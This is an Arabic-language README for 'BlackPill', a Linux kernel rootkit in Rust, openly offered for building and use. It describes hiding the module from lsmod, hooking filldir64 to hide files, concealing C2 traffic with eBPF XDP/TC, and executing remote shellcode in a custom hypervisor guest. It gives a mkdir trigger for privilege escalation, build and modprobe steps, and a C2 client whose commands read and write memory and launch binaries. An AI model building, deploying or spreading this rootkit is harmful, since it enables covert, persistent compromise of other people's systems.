
روتكيت نواة لينكس مكتوب بلغة Rust يعتمد على هايبرفايزر مخصص من النوع الثاني (type-2)، وبرامج eBPF XDP وTC
BlackPill هو روتكيت خفي لنظام لينكس مكتوب بلغة Rust.
يتكوّن الروتكيت من وحدات متعددة (نتحدث عن وحدات Rust، وليس وحدات النواة):
تبدو البنية المعمارية على النحو التالي:

وفيما يلي كيفية تنفيذ الكود الخبيث من C2 إلى الضيف الافتراضي:

يرسل C2 تعليمات x86_64 مُجمَّعة ومصمَّمة بعناية إلى الروتكيت، والذي يرسلها بدوره إلى الضيف الافتراضي لتنفيذها. ويكون الضيف الافتراضي معزولًا عن المضيف ويمكن استخدامه لتنفيذ كود خبيث.
لا ترى النواة الحزم الخبيثة الواردة لأنها تُصفّى بواسطة برنامج eBPF XDP وتُرسل إلى وحدة LKM، ويتم تعديل الحزم الصادرة بواسطة برنامج eBPF TC.
[!IMPORTANT]
هذا المشروع لا يزال قيد التطوير. ليست جميع الميزات تعمل بعد!
لا تتردد في تقديم المشكلات (issues) أو طلبات السحب (pull requests).
الربط هو قدرة أساسية للروتكيت، ويتم تنفيذه باستخدام kprobes في نواة لينكس. تعترض هذه التقنية تنفيذ دوال النظام وتعيد توجيهه لمراقبة سلوكها أو تعديله. وفي سياق هذا الروتكيت، توفر kprobes آلية قوية للتفاعل مع دوال النواة دون تعديل الكود المصدري مباشرة.
لضمان التخفي، يستخدم الروتكيت آليتين رئيسيتين لمكافحة الاكتشاف:
إزالة الوحدة من قائمة وحدات النواة
عند تحميل وحدة نواة، تُضاف إلى قائمة وحدات النواة، وتكون مرئية عبر أدوات مثل lsmod أو /proc/modules. ولمنع اكتشافها:
ربط دالة filldir64 لإخفاء دليل محدد
لإخفاء الملفات التي يستخدمها الروتكيت، يتم تنفيذ ربط على دالة filldir64. تُستدعى هذه الدالة عند قراءة عملية لمحتويات دليل (مثلًا عبر استدعاءات النظام getdents أو readdir).
filldir64 باستخدام kprobes./BLACKPILL-BLACKPILL (المستخدم لتخزين ملفات الروتكيت الحرجة)، يتم تصفيته وعدم إعادته إلى المستخدم.استخدام برنامجي eBPF XDP وTC لتعديل حركة الشبكة الواردة والصادرة
لتطبيع اتصالاتنا الشبكية الخبيثة، نستخدم برنامجي eBPF XDP (مسار البيانات السريع) وTC (التحكم في الحركة). وبهذا يمكننا:
تم تنفيذ الهايبرفايزر البسيط الخاص بنا وفقًا لما يلي:
التهيئة الأولية للنظام
الدخول إلى وضع VMX أو SVM
إدارة التحولات بين المضيف والضيف
إنشاء نظام الضيف
الاتصال
الاستمرارية هي قدرة حرجة لأي روتكيت، إذ تمكنه من الحفاظ على السيطرة على النظام المستهدف حتى بعد إعادة التشغيل.
في تنفيذه الحالي، تُظهر آلية الاستمرارية وظيفتها من خلال إنشاء ملف اختبار في نظام الملفات باستخدام الأمر /bin/touch. يعرض هذا الإجراء المؤقت قدرة الروتكيت على تنفيذ عمليات مميزة ويمكن توسيعه لتنفيذ استراتيجيات استمرارية أكثر تقدمًا.
لم يعد مفيدًا الآن، لأن إنشاء روتكيت بمستوى APT ليس أولويتنا، بل إجراء المزيد من الأبحاث حول مفاهيم أقل شيوعًا.
يجب تنفيذ عدة خطوات قبل تجميع الروتكيت. تتكون بيئة التطوير من :
ابدأ باستنساخ المستودع ووحداته الفرعية الضحلة (shallow submodules) :
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
على توزيعة مبنية على Arch :
sudo pacman -S qemu-base qemu-desktop docker grub
على توزيعة لينكس مبنية على Arch، ثبّت Rust والتبعيات الأخرى :
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
ثم سنحتاج إلى مصادر Rust وأداة bindgen :
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
تأكد من أنك تستطيع بدء تجميع النواة مع Rust بتشغيل الأمر في مجلد linux/ :
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
شغّل مهمة الإعداد لأول مرة والتي تقوم بإعداد النواة وتجميعها :
make first-time-setup
[!IMPORTANT]
إذا طُلب منك تخصيص الخيارات، اضغط Enter في كل مرة.
يمكنك تجميع وحدة نواة Rust (خارج الشجرة) باستخدام :
make
شغّل الآلة الافتراضية باستخدام :
make vm
داخل الآلة الافتراضية، يتم تسجيل الدخول تلقائيًا كمستخدم root. يمكنك تفعيل الوحدة:
$ modprobe blackpill
# you can check kernel logs with
$ dmesg
بمجرد بدء تشغيل الآلة الافتراضية، يمكنك استخدام الأمر أعلاه لتصعيد صلاحياتك:
mkdir ImFeelingRootNow_<PID>
استبدل <PID> بمعرف العملية التي تريد تصعيد الصلاحية إليها.
يرسل خادم القيادة والتحكم (C2) البسيط هذا أكواد تشغيل x86-64 إلى الجهاز المصاب عبر UDP ويستقبل حزم TCP. وظائفه الآن محدودة بالتفاعل منخفض المستوى مع الجهاز، لكنها قد تسمح بالكثير من الاستخدامات العملية مع المزيد من المغلفات.
قم بإعداد عميل بايثون:
cd blackpill-c2
poetry install
poetry shell
python client.py
بعد تشغيل العميل مع وسائطك ([ip] [port]) يجب أن تحصل على:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
ثم يمكنك استخدام الأمر help لعرض الأوامر المتاحة:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Read 4 bytes (32 bits) memory at 'address' │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address' │
│ launch_userland_binary <path> │ Launch a userland binary at 'path' │
│ change_msr <msr> <value> │ Change the value of a Model Specific Register (MSR) │
│ read_phys_memory <address> <value> │ Read 4 bytes (32 bits) of physical memory at 'address' │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution │ Stop the execution of the guest VM │
│ change_vmcs_field <field> <value> │ Change a VMCS field to 'value' │
│ help │ Show this help message │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
إعداد البيئة: